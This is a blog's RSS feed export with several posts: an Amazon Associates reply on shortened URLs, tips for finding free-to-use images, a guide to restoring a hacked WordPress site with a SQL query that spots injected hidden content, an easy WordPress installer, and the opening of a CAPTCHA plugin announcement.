<p>Thank you for writing back to us and I sincerely apologize for the delay in responding to your message.  I have carefully reviewed your correspondence with us.  As you mention, you would not be permitted to use a shortened URL to an Amazon.com page as the destination URL for paid search advertisements because Associates are not permitted to engage in keyword bidding or other paid search on Google, Yahoo, MSN, and other search engines, and their extended search networks, to send traffic to our site.  </p>
<p>However, you can use shortened URLs on your Facebook or Twitter accounts. You may be asked to provide the specific sites on which the shortened URLs are posted, which would mean that your Facebook and Twitter profiles would need to be publicly accessible for review if you used the URLs on those sites.</p>
<p>I apologize for the misunderstanding regarding your inquiry and I hope this information is helpful to you.  If you have further questions, please use the Contact Us form available on Associates Central or by following this link:</p>
<p><a href="https://affiliate-program.amazon.com/gp/associates/contact" target="_blank">https://affiliate-program.amazon.com/gp/associates/contact</a></p>
<p>Thank you for your participation in the Associates Program.</p>
<p>Best regards,</p>
<p>Richard &#8211; Associates Account Specialist</p>
<p>http://www.amazon.com</p>
</blockquote>
<p>Note that he did state that the specific sites where you intended to post the links needed to be provided, so if you are an Amazon affiliate and think you might possibly post a link on either Twitter or Facebook, you should probably submit those profiles to Amazon asap and go ahead and get them listed in your Amazon account. One of the other emails from them gave me these instructions for doing so:</p>
<blockquote class="eml"><p>
If you would like to add another website or multiple websites to your existing Associates account, we first need to view and approve the sites content before it can be added.</p>
<p>Please send us the URLs for the sites, and we will review them and let you know our decision. Once approved, we will send you instructions on how to add the URLs to your account. You can contact us back by using the secure form at the following specialized link:</p>
<p><a href="http://affiliate-program.amazon.com/gp/associates/contact/" target="_blank">http://affiliate-program.amazon.com/gp/associates/contact/</a></p>
<p>Keep in mind that if your Facebook page is set on private we will be unable to approve its addition to your account because we need to be able to view your site at any given time to make sure you are in compliance with our guidelines.
</p></blockquote>
<p>I have gone ahead and provided the entire conversation thread with Amazon <a href="/images/amazon-on-url-shorteners.txt" target="_blank">here</a>. I hope this helps anyone who might have had issues with this. <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2009/07/17/amazon-confirms-shortened-urls-are-allowed-on-facebook-and-twitter/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>How To Find The Best Free Image/Photo/Graphics Downloads For Your Blog Posts</title>
		<link>http://smackdown.blogsblogsblogs.com/2009/01/12/how-to-find-the-best-free-imagephotographics-downloads-for-your-blog-posts/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2009/01/12/how-to-find-the-best-free-imagephotographics-downloads-for-your-blog-posts/#comments</comments>
		<pubDate>Mon, 12 Jan 2009 13:39:40 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[apprentice]]></category>
		<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[how-to]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[web design]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=195</guid>
		<description><![CDATA[Adding images to your blog posts can make them much more visually appealing to your readers. This in turn can increase the likelihood that someone will link to that post or subscribe to your feed, which will of course in the long run help to improve your rankings and traffic. The internet is chock full [...]]]></description>
			<content:encoded><![CDATA[<p><img src="/images/camera.png" border="0" alt="Smile!" style="float: right;"  onmouseup="hl2l(event);"> Adding images to your blog posts can make them much more visually appealing to your readers. This in turn can increase the likelihood that someone will link to that post or subscribe to your feed, which will of course in the long run help to improve your rankings and traffic. The internet is chock full of images, many of which will fit perfectly with that blog post or article that you are writing. The problem is, however, finding images that are both high quality and that you are actually <em>allowed</em> to use.</p>
<h3>The Problems</h3>
<p><strong>Two internet no-no&#8217;s</strong> that beginner web publishers often perform, many times without even realizing that they are doing anything wrong, <span id="more-195"></span>are image theft and image hotlinking. The bottom line is that most images on the Internet are in fact copyrighted, and therefore cannot be used without the <em>original</em> author&#8217;s explicit permission (assuming, of course, that the original author is still in fact the copyright holder). Just because you find a picture posted on a public forum or on a newsgroup does not mean that the person who posted it had the <em>right</em> to post it, and if they did not then republishing it on your own site makes you just as guilty of copyright infringement as they are. While 9 times out of 10 you might get away with it, using someone else&#8217;s copyrighted material can lead to troubles (and time wasted dealing with those troubles) in the form of a <a href="http://www.chillingeffects.org/dmca512/faq.cgi" target="_blank">DMCA Takedown Notice</a>. In extreme circumstances, depending on your host and the degree of the infringement, this can even lead to the interruption of your hosting account.</p>
<p>Hotlinking an image is a little less of a cut and dried issue as far as whether or not it actually violates copyright laws. As far as I know the matter simply has not been tested in court, and legal opinions concerning it can vary. What is generally agreed upon regarding it is that it is impolite at best (regardless of arguments about how cheap bandwidth is). Additionally, you do run the risk of whoever you are hotlinking the image from simply switching it out for a different image if the request shows your site as the referrer (check out <a href="http://www.techcrunch.com/2007/03/27/john-mccains-myspace-page-hacked/" target="_blank">John McCain&#8217;s MySpace Page &#8220;Enhanced&#8221;</a> for a classic example of this). </p>
<h3>The Solutions</h3>
<p>Luckily, however, there are plenty of images available out there that you can use, as long as you know how to find them. You can use any images that are within the <a href="http://www.benedict.com/Info/PublicDomain/PublicDomain.aspx" target="_blank">Public Domain</a> freely, and with a few easily followed terms many photographers and artists offer their images available under the <a href="http://creativecommons.org/licenses/by/3.0/" target="_blank">Creative Commons</a> license. Also, there are a few Free Stock Photo sites out there as well that offer a nice selection of images that can be used in blogs posts.</p>
<h3>Finding Public Domain Images</h3>
<p>Public Domain refers to any work that is not copyrighted or work on which the copyright has expired. Instead of worrying about how to try and find formerly copyrighted images where the copyright has expired, I am going to focus on how to locate ones that were never copyrighted in the first place. In the US, works that are authored by the federal government are not copyrighted, and therefore fall into the Public Domain. It is important to note that the distinction is works that were authored by them, and not all works that are owned by them. If a private individual creates the work, and then sells or transfers the copyright to the government, the work is still copyrighted. Also, some specific images might have use restrictions on them. A good example of this is the <a href="http://www.nasa.gov/centers/goddard/multimedia/gtv_copyright.html" target="_blank">NASA logos</a>&#8230; the general permission to use all images found on the NASA site does not extend to the logos. Specifically, none of the three logos may be used &#8220;by persons who are not NASA employees or on products (including Web pages) that are not NASA sponsored.&#8221; All others are pretty much fair game.</p>
<p>Now that we know where these images are that we can use, we need to figure out how to search through them and find the ones we want. There are a couple of useful methods for doing this. One of the easiest ways is simply going to Google Images, and performing a &#8220;site:{somegovtsite.gov}&#8221; search, plus whatever keyword you are looking for. Which federal government site you choose will most likely be based on what types of images you are trying to hunt down. For instance, if you need to find a good wildlife picture, then the US Forest Service at <a href="http://www.fs.fed.us/" target="_blank">www.fs.fed.us</a> is probably a good place to start. So, if for instance you need a deer picture, you would go to Google Images and type in:</p>
<p>[<a href="" target="_blank">site:fs.fed.us +deer</a>] (note that dropping the &#8220;www&#8221; from the &#8220;site:&#8221; search enables you to pick up any subdomains as well)</p>
<p>While not all of the images are exactly what we are looking for, we can see that some nice matches do come up on the front page:</p>
<p><img src="/images/govt-site-deer-search.png" alt="Search for deer images on a federal government site" onmouseup="hl2l(event);"></p>
<p>If you notice results that appear to be from sites other than ones owned by US government (such as Blogspot or Myspace), don&#8217;t worry&#8230; those are people who are using hotlinked images on their own pages. The images themselves are still hosted on the government websites. Some good examples of federal government sites that are rich in images, along with the number of images returned for each by using the &#8220;site:&#8221; command without a keyword in Google Images, are:</p>
<ul>
<li>NASA (<a href="http://www.nasa.gov" target="_blank">nasa.gov</a>) &#8211; 1,020,000 image results</li>
<li>The Whitehouse (<a href="http://www.whitehouse.gov/" target="_blank">whitehouse.gov</a>) &#8211; 116,000 image results</li>
<li>Library of Congress (<a href="http://www.loc.gov/" target="_blank">loc.gov</a>) &#8211; 186,000 image results</li>
<li>Government Printing Office (<a href="http://www.gpo.gov/" target="_blank">gpo.gov</a>) &#8211; 8,370 image results</li>
<li>Department of Education (<a href="http://www.ed.gov/" target="_blank">ed.gov</a>) &#8211; 23,400 image results</li>
<li>National Oceanic and Atmospheric Administration (<a href="http://www.noaa.gov/" target="_blank">noaa.gov</a>) &#8211; 317,000 image results</li>
<li>Department of Energy (<a href="http://www.energy.gov/" target="_blank">energy.gov</a>) &#8211; 22,100 image results</li>
<li>Environmental Protection Agency (<a href="http://www.epa.gov/" target="_blank">epa.gov</a>) &#8211; 65,000 image results</li>
<li>US Forest Service (<a href="http://www.fs.fed.us/" target="_blank">fs.fed.us</a>) &#8211; 122,000 image results</li>
<li>Federal Aviation Administration (<a href="http://www.faa.gov/" target="_blank">faa.gov</a>) &#8211; 9,720 image results</li>
<li>US Army (<a href="http://www.army.mil/" target="_blank">army.mil</a>) &#8211; 304,000 images results
</ul>
<p>Using parenthesis and the OR operator, you can also search multiple government sites at once, like so:</p>
<p>[<a href="http://images.google.com/images?gbv=2&#038;hl=en&#038;safe=off&#038;q=airplane+%2B%28site%3Aarmy.mil+OR+site%3Anasa.gov+OR+site%3Asite%3Afaa.gov%29&#038;btnG=Search+Images" target="_blank">airplane +(site:army.mil OR site:nasa.gov OR site:site:faa.gov)</a>]</p>
<p>Which in the above example will search the US Army, NASA, and the Federal Aviation Administration websites for images matching the keyword [airplane] all at the same time.</p>
<p>Another option for searching the federal stockpile of images is to use the image search functionality on  the <a href="http://www.usasearch.gov/search?v%3Aproject=firstgov-images&#038;v%3Aframe=form&#038;frontpage=1&#038;emptyquery=1" target="_blank">USA<em>Search</em>.gov</a> website. While you don&#8217;t have the luxury  of being able to restrict your search to specific sites, you do have the added ease of being able to search all of the federal government sites at once, along with certain archives that might not be indexed by Google.</p>
<h3>Finding Creative Commons Images</h3>
<p>The Creative Commons is a set of free licenses that allow artists to share their work, while still retaining some of their rights. For bloggers, usually the images they will be most interested in are those that are licensed under straight <a href="http://creativecommons.org/licenses/by/3.0/" target="_blank">Attribution</a>. That means that you are free to share or modify the images as you need, even for commercial purposes, as long as you attribute the original work of the author in the manner they specify. This is usually done simply via a link back to the original image. </p>
<p>Google has an option on their Advanced Search to only search documents that are released under Creative Commons license. However, for some reason they don&#8217;t offer the same option under the Google Images search. Even if you search for a keyword and restrict the results to only show Creative Commons results in Web Search first, and then click on the Images link, the url parameter that tells Google that you want to restrict the search results is dropped. Luckily though, adding the parameter in manually does in fact work. I created a small tool on <a href="http://www.bad-neighborhood.com/" target="_blank">Bad Neighborhood</a> that allows you to enter a search term in, and it will open up a Google Images search with the parameter that restricts the results to only show images released under Creative Commons here:</p>
<p><a href="http://www.bad-neighborhood.com/creative-commons-image-search.htm" target="_blank">Creative Commons Google Image Search Assistant</a></p>
<p>Most of the results that you will see with this search will either be from <a href="http://flickr.com/" target="_blank">Flickr</a> and <a href="http://picasaweb.google.com" target="_blank">Picasa Web</a>, since those images appear to be the ones that Google has the easiest time identifying the licensing on.</p>
<p>Unless you uncheck the checkbox at the bottom of the last paragraph on the page, you will notice that 2 windows open at the same time when you use that tool. This is because Flickr also has it&#8217;s own integrated Creative Commons search, on it&#8217;s Advanced Search page, but since the link to that page doesn&#8217;t show unless you perform a regular search first, many people won&#8217;t realize that it is an option. This tool includes a search on Flickr as well by default, without you having to go to the Advanced Search page first. </p>
<p>If you want to perform just the Flickr search, you can go there, and click on the search button. The link to the Advanced Search will then appear just to the right of the search box:</p>
<p><img src="/images/flickr-advanced-search-link.png" alt="Flickr Advanced Search link" onmouseup="hl2l(event);"></p>
<p>Once there, scroll down to the last set of options, and you will see 3 checkboxes that you can use to search only for content that you are allowed to use under the Creative Commons:</p>
<p><img src="/images/creative-commons-flickr-options.png" alt="Creative Commons search boxes on Flickr" onmouseup="hl2l(event);"></p>
<p>Once you find a picture that you think fits, you can verify that it is indeed released under Creative Commons by looking for the CC logo in the right hand column:</p>
<p><img src="/images/attribution-logo.png" alt="Attribution logo on Flickr pages" onmouseup="hl2l(event);"></p>
<p>Just remember to attribute the author of any original work that you use.</p>
<h3>Finding Free Stock Images</h3>
<p>Lastly, there are of course the Free Stock Photo sites that most people are aware of. Last year Donna Fontenot wrote a post about her <a href="http://www.dazzlindonna.com/blog/2007/07/18/favorite-10-free-stock-photo-download-sites/" target="_blank">Favorite 10 Free Stock Photo Download Sites</a>. Out of those, I picked my favorite 7, and built a tool using the same &#8220;site:&#8221; search plus OR operator method I described above:</p>
<p><a href="http://www.bad-neighborhood.com/free-image-meta-search.htm" target="_blank">Bad Neighborhood Free Image Meta Search</a></p>
<p>Simply enter your keywords into the box and hit Search. A new Google Images window will open up, allowing you to simultaneously search all 7 sites as once for images matching your keywords. While the selection may not be quite as great as going to each site one by one and using their built in search functionality, it can be much, much quicker to find a graphic that fits your needs this way.</p>
<p>Happy Image Hunting. <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div><em><a href="http://www.vecteezy.com/vf/444-Camera-Icon-Vector-" target="_blank">Original camera vector icon</a> credit goes to <a href="http://blog.refueldesign.com/">refueldesign.com</a>.</em></div>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2009/01/12/how-to-find-the-best-free-imagephotographics-downloads-for-your-blog-posts/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>How To Completely Clean Your Hacked WordPress Installation</title>
		<link>http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/#comments</comments>
		<pubDate>Tue, 24 Jun 2008 14:11:18 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[how-to]]></category>
		<category><![CDATA[On The Ball-ness]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[web design]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=82</guid>
		<description><![CDATA[Getting hacked sucks, plain and simple. It can affect your rankings, cause your readership to be exposed to virus and trojan attacks, make you an unwilling promoter to subject material you may not actually endorse, and in many cases cause the loss of valuable content. However, once it happens it is usually best to not [...]]]></description>
			<content:encoded><![CDATA[<p><img src="/images/hacker-removal.png" border="0" alt="WordPress hacker removal spray... use in a well ventilated area." style="float: right;"  onmouseup="hl2l(event);"> Getting hacked sucks, plain and simple. It can affect your rankings, cause your readership to be exposed to virus and trojan attacks, make you an unwilling promoter to subject material you may not actually endorse, and in many cases cause the loss of valuable content. However, once it happens it is usually best to not procrastinate on the clean up process, <span id="more-82"></span>since a speedy restore will most times minimize the damage that was caused.</p>
<p>While almost all sources will recommend that you upgrade your WordPress to the latest version, what the majority neglect to tell you is that in most cases simply doing so will <em>not</em> prevent the attackers from getting back in, even if there are no known exploits with the latest version. The hackers may have left a back door file hidden in a directory where it wouldn&#8217;t get overwritten with an upgrade, or inserted code into your theme, or simply created an account that they then granted admin privileges to. Any one of those would allow them back in, even after you patched what was wrong the first time. Therefore I am providing this step by step process on how to completely clean out and restore a WordPress installation that has been hacked.</p>
<h3><strong>1. Backup the site and the database.</strong></h3>
<p>Even a hacked copy of your blog still probably contains valuable information and files. You don&#8217;t want to lose this data if something goes wrong with the cleanup process. Worst case scenario you can just restore things back to their hacked state and start over.</p>
<h3><strong>2. Make a copy of any uploaded files, such as images, that are referenced.</strong></h3>
<p>Images are generally exempt from posing a security risk, and ones that you uploaded yourself (as opposed to ones included with a theme, for instance) will be harder to track down and replace after things are fixed again. Therefore it is usually a good idea to grab a copy of all the images in your upload folder so as to avoid broken images in posts later. If you have any non-image files that could potentially have been compromised, such as zip files, plugins, or php scripts that you were offering people, then it is a good idea to grab fresh copies of those from the original source.</p>
<h3><strong>3. Download a fresh version of WP, all of the plugins you need, and a clean template.</strong></h3>
<p>Using the WordPress automatic upgrade plugin does make it easier to upgrade every time a new version comes out. However, it only replaces WordPress specific files, and does not delete obsolete ones. It also leaves your current themes and plugins in place, as is. This means that if used to upgrade a blog that has already been compromised, it can very well leave the attackers a way back in. It is best to start over from scratch as far as the files portion of your installation goes. Note that if you use the <a href="http://smackdown.blogsblogsblogs.com/2008/06/18/easywp-wordpress-installer-cause-there-aint-no-such-thing-as-too-easy/" target="_blank">EasyWP WordPress Installer</a> script that I wrote it saves you from having to download, unzip, and then upload all of the core WordPress files, although you will still need to grab fresh copies of the themes and plugins that you want to use.</p>
<h3><strong>4. Delete all of the files and folders in the WP directory, either through FTP (slower) or through cPanel&#8217;s File Manager (faster).</strong></h3>
<p>Now that you have fresh copies of all the files you need, and copied all of your uploaded images, completely delete the entire directory structure your blog is in. This is the only surefire way to completely remove all possibly infected files. You can do this through FTP, but due to the way that FTP handles folder deletion (ie. it walks the directory structure, stores each and every file name that needs to be deleted, and then sends a delete command for each one), this can be slow and in some instances cause you to get disconnected due to flooding the server with FTP commands. If available it is much faster to do this through either cPanel&#8217;s File Manager, or via command line if you happen to have shell access.</p>
<h3><strong>5. Re-upload the new fresh copies you just grabbed.</strong></h3>
<p>This step should be self explanatory, but I would like to mention that if your FTP client supports it (I use <a href="http://filezilla-project.org/" target="_blank">FileZilla</a>, which does) and your host allows it, then increasing the number of simultaneous connections you use to upload can greatly reduce your overall transfer time, especially on servers or ISP&#8217;s where latency is more of an issue than bandwidth. In FileZilla this setting is found by going to &#8220;Edit -> Settings -> File transfer settings&#8221;:</p>
<p><img src="/images/filezilla-settings.png" onmouseup="hl2l(event);" alt="FileZilla settings panel"></p>
<p>Also, if not using the <a href="http://smackdown.blogsblogsblogs.com/2008/06/18/easywp-wordpress-installer-cause-there-aint-no-such-thing-as-too-easy/" target="_blank">EasyWP WordPress Installer</a> script, don&#8217;t forget to edit and rename your wp-config.php file (when freshly unzipped this is named wp-config-sample.php).</p>
<h3><strong>6. Run the database upgrade (point your browser at /wp-admin/upgrade.php).</strong></h3>
<p>This will make any necessary changes to your database structure to support the newest version of WordPress.</p>
<h3><strong>7. Immediately change your admin password.</strong></h3>
<p>If you have more than one admin (meaning any user with editing capabilities), and cannot get the others to change their passwords right then, I would change their user levels until they can change their passwords as well. If there is anyone in your user list that has editing capabilities, and you do not recognize them, it&#8217;s probably best to just delete them altogether. If changing passwords is something you hate doing, then maybe my new <a href="http://www.bad-neighborhood.com/password-generator.htm" target="_blank">memorable password generator</a> can make that a little less stressful for you. <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<h3><strong>8. Go through the posts and repair any damage in the posts themselves.</strong></h3>
<p>Delete any links or iframes that were inserted, and restore any lost content. Google and Yahoo&#8217;s caches are often a good source of what used to be there if anything got overwritten. The following query run against the database can help you isolate which posts you want to look at:</p>
<pre>SELECT * FROM wp_posts WHERE post_content LIKE '%&lt;iframe%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%&lt;noscript%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%display:%'</pre>
<p>If you did not change the default prefix for WordPress tables, than you can copy and paste that directly into a query window and run it, and it should pull up any posts that have been modified to hide content using any of the methods I have come across so far (iframes, noscript tags, and display:none style attributes). To get to a query window in cPanel, you would click on the MySQL&reg; Databases icon, scroll to the bottom of the page, and then click on phpMyAdmin. Once the new window or tab opens, you would click on the database in the left hand side that your blog was in, and then in the right side at the top click on the SQL tab. Then just paste the query into the large text area and hit the Go button.</p>
<p>Note, however, that there may be other types of injected content that I haven&#8217;t seen yet, and that a manual inspection looking for the types of patterns that first alerted you to the fact that your blog was hacked is always a good idea.</p>
<h3><strong>UPDATE: 9. If you are having issues cleaning the installation yourself</strong></h3>
<p>When I wrote this post back in 2008 I intended it to be a do it yourself guide for the non-techie. However, I do realize that some people would still rather a professional programmer perform many of the steps I outlined here. If anyone has had their WordPress installation hacked, and either is uncomfortable attempting to clean it on their own, or has tried to do so with no success, I am available on a case by case basis. Most cleanings can be performed in about one hour, two at the most. The time can vary depending on the size of the blog, the amount of customization to the original theme, and the number of plugins installed. Feel free to <a href="http://smackdown.blogsblogsblogs.com/contact-michael-vandemar/">contact me here</a> if you feel like you could benefit from my help. Please include the site and any details that you think might be relevant (pro theme, anything you may have tried on your own, etc.) in the contact form.</p>
<h3><strong>UPDATE #2: 10. A note on hosting.</strong></h3>
<p>This past year (2010) has seen multiple waves of attacks on people&#8217;s websites that happened not due to insecurities within the WordPress platform itself, as has historically been the issue, but rather due to vulnerabilities with the actual hosts. Some of the bigger names that were hit include <a href="http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with-godaddy-might-want-to-rethink-that-decision/" target="_blank">GoDaddy</a>, <a href="http://smackdown.blogsblogsblogs.com/2010/06/14/rackspace-hacked-clients-check-your-databases-wordpress-wp_optimize-backdoor-in-wp_options-table/" target="_blank">Rackspace Cloud</a>, MediaTemple, and <a href="http://www.theregister.co.uk/2010/04/19/network_solutions_mass_hack/" target="_blank">Network Solutions</a>, for instance. It is very important that you use a host that is not only well versed in security, but one that is stable and has knowledgeable tech support as well. </p>
<p>My personal recommendation for shared hosting is <a href="http://www.jdoqocy.com/nd115shqnhp48779B7A465965D68" target="_blank">Hostgator</a><img src="http://www.ftjcfx.com/6l98y7B-53PTSSUWSVPRQURQYRT" width="1" height="1" border="0"/>. It is where this blog and many other sites of mine are currently hosted. Yes, that is an aff. link, but I would recommend them even if it wasn&#8217;t. For a dedicated solution that is both affordable and robust I use <a href="http://www.shareasale.com/r.cfm?b=108316&#038;u=189767&#038;m=15362&#038;urllink=&#038;afftrack=" target="_blank">The Planet</a>, which is where I host <a href="http://www.bad-neighborhood.com/" target="_blank">Bad Neighborhood</a>. Both companies are ones that I have been using for years without issues, and that I do recommend to my own clients when they find themselves dissatisfied with their current hosts. If you were hacked, and your WordPress was up to date when it happened, then a change of hosts is something you should consider looking into.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/feed/</wfw:commentRss>
		<slash:comments>185</slash:comments>
		</item>
		<item>
		<title>EasyWP WordPress Installer &#8211; Cause There Ain&#8217;t No Such Thing As &#8220;Too Easy&#8221;</title>
		<link>http://smackdown.blogsblogsblogs.com/2008/06/18/easywp-wordpress-installer-cause-there-aint-no-such-thing-as-too-easy/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2008/06/18/easywp-wordpress-installer-cause-there-aint-no-such-thing-as-too-easy/#comments</comments>
		<pubDate>Wed, 18 Jun 2008 12:30:02 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[how-to]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[Social Media]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=80</guid>
		<description><![CDATA[Let&#8217;s face it&#8230; generally speaking, installing WordPress is not exactly an arduous task. It&#8217;s designed to be relatively easy, allowing pretty much anyone to set up a blog of their own, regardless of their technical expertise. For the most part, WordPress succeeds at this. However, if you are the type of person who sets up [...]]]></description>
			<content:encoded><![CDATA[<p><img src="/images/easy-street.png" border="0" alt="Easy Street here we come!" style="float: right;"  onmouseup="hl2l(event);">Let&#8217;s face it&#8230; generally speaking, installing WordPress is not exactly an arduous task. It&#8217;s designed to be relatively easy, allowing pretty much anyone to set up a blog of their own, regardless of their technical expertise. For the most part, WordPress succeeds at this. However, <span id="more-80"></span>if you are the type of person who sets up blogs often, especially considering the fact that they all have to be updated every time a new <a href="" target="_blank">security hole in WordPress</a> is discovered, and if some of those blogs are on hosts that might have some issues with <a href="http://en.wikipedia.org/wiki/Latency_(engineering)" target="_blank">latency</a> (small lags just before each connection), then setting up WordPress can sometimes be a little bit of a pain. WordPress 2.5.1, for instance, has 515 files in it that have to be uploaded in order to install it. Sure, if you have shell access and know how to use it, then you can just upload the zip file and unzip it on the server. However, if you don&#8217;t have that (which is common with most shared hosting accounts), and there is just a couple of seconds lag before each files starts transferring, then that means that uploading the full package can take 20 minutes or more for each blog.</p>
<p>Me? I&#8217;m just not that patient.</p>
<p>Therefore I have written a <a href="http://www.funscripts.net/php-scripts/" target="_blank">WordPress Installer script</a>, named EasyWP, that removes that hassle completely. Simply download and unzip EasyWP.zip (download link on <a href="http://www.funscripts.net/php-scripts/" target="_blank">this page</a>). Upload easywp.php (a single file that is a mere 8KB) to the folder where you want to install your blog. Any directory will do, including the root directory, as long as WordPress isn&#8217;t already installed in it (this script is designed to do clean installs only) and PHP can write to that directory (either through setting the permissions, or through PHPSuExec running on your server). Next, visit the page wherever you uploaded it to (ie. http://www.yourserver.com/blog/easywp.php), fill out the form, and hit the &#8220;Go!&#8221; button.</p>
<p>EasyWP will download the latest version of WordPress, unzip it into the directory where you want to host your blog, and modify your configuration file based on the information you entered into the form. Then it tests your database connection. If that fails, it gives you a chance to re-edit the info you entered, so if you made a mistake there is no need to edit and re-upload the config file separately<br />
(just like when you install WordPress without the script, you do have to create the database and user beforehand). After that it takes you to the normal WordPress setup page, where you finish the process.</p>
<p>That&#8217;s it. <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  </p>
<p>To recap: <strong>you can now upload and configure an entire brand new WordPress installation in under 30 seconds</strong>. Feedback and suggestions are of course welcome.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2008/06/18/easywp-wordpress-installer-cause-there-aint-no-such-thing-as-too-easy/feed/</wfw:commentRss>
		<slash:comments>32</slash:comments>
		</item>
		<item>
		<title>Introducing: PuzzCAPTCHA Advanced Comment Form Protection, LinkMyPics &#8211; The Hotlink Advantage Maximizer&#8230; Oh, and Evan Rachel Wood, Topless [NFSW]</title>
		<link>http://smackdown.blogsblogsblogs.com/2008/04/25/introducing-puzzcaptcha-advanced-comment-form-protection-linkmypics-the-hotlink-advantage-maximizer-oh-and-evan-rachel-wood-topless-nfsw/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2008/04/25/introducing-puzzcaptcha-advanced-comment-form-protection-linkmypics-the-hotlink-advantage-maximizer-oh-and-evan-rachel-wood-topless-nfsw/#comments</comments>
		<pubDate>Fri, 25 Apr 2008 20:42:10 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[how-to]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[web design]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=69</guid>
		<description><![CDATA[No, my blog wasn&#8217;t hacked by porno webmasters, and no, I&#8217;m not converting Smackdown to an adult website (although, to be honest, kids or sensitive people should always approach my blog with caution). I wanted to test some of the various image search algos, and as it just so happens the search [Evan Rachel Woods [...]]]></description>
			<content:encoded><![CDATA[<p><img style="float: right" onmouseup="hl2l(event);" src="/images/pg13-warn.jpg" alt="No, I have NOT been hacked..." /> No, my blog wasn&#8217;t hacked by porno webmasters, and no, I&#8217;m not converting Smackdown to an adult website (although, to be honest, kids or sensitive people should <em>always</em> approach my blog with caution). I wanted to test some of the various image search algos, and as it just so happens the search [Evan Rachel Woods Topless] currently brings up no valid results on Google Images (which kind of surprised me, but more on that at the end). Since I am also releasing a WordPress plugin to help prevent comment spam (which blogs coming up for queries like that probably encounter a ton of) <em>and</em> a very nifty little widget that helps turn image and bandwidth theft into links, I figured I would do all 3 at once. I promise, I am putting all of the questionable images way below the fold&#8230; so if you <em>are</em> the sensitive type,<span id="more-69"></span> then I suggest you <em>not</em> scroll down.</p>
<p>Pervs of course are free to skip to the bottom.</p>
<p><strong>PuzzCAPTCHA</strong> is my new <a href="http://www.bad-neighborhood.com/puzzcaptcha.htm" target="_blank">comment form spam protection</a> plugin for <a href="http://wordpress.org/" target="_blank">WordPress</a>, which can be downloaded from <a href="http://www.bad-neighborhood.com/puzzcaptcha.htm" target="_blank">here</a>. It is built on the premise that while computers are advanced enough to employ <a href="http://en.wikipedia.org/wiki/Optical_character_recognition" target="_blank">OCR</a> (Optical Character Recognition) to crack most existing <a href="http://www.captcha.net/" target="_blank">CAPTCHA&#8217;s</a>, and while they can certainly solve image puzzles if they know what the image is of ahead of time, presenting them with both simultaneously will at the very least significantly slow them down (and thus greatly reduce the number of CAPTCHA&#8217;s cracked in any given time period). Humans, however, have the ability to solve what the the end puzzle looks like <em>as</em> they assemble the image. This means that presenting a CAPTCHA as a puzzle allows for increasing the difficulty for a computer to solve it, while at the same time presenting a much clearer image to the end user, which is a trend opposite of what we currently see today. Here are some examples of the kinds of CAPTCHA&#8217;s that currently piss me off:</p>
<p><img onmouseup="hl2l(event);" src="/images/ze7bwbmvs.jpg" alt="ze7bwbmvs" /></p>
<p><img onmouseup="hl2l(event);" src="/images/8qv0s6.jpg" alt="8qv0s6" /></p>
<p><img onmouseup="hl2l(event);" src="/images/whothefuckknows.jpg" alt="WTF?" /></p>
<p>And now we have new ones coming out like <a href="http://www.geeksaresexy.net/2008/04/24/rapidshare-captcha-will-drive-you-crazy/" target="_blank">this little gem</a> reported on by GeeksAreSexy. Ugh.</p>
<p>Now, with PuzzCAPTCHA, you get something more along the lines of <em>this</em> (after moving the pieces around):</p>
<p><img onmouseup="hl2l(event);" src="/images/pcaptcha-solved.jpg" alt="" /></p>
<p>MUCH nicer, don&#8217;t you think? <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
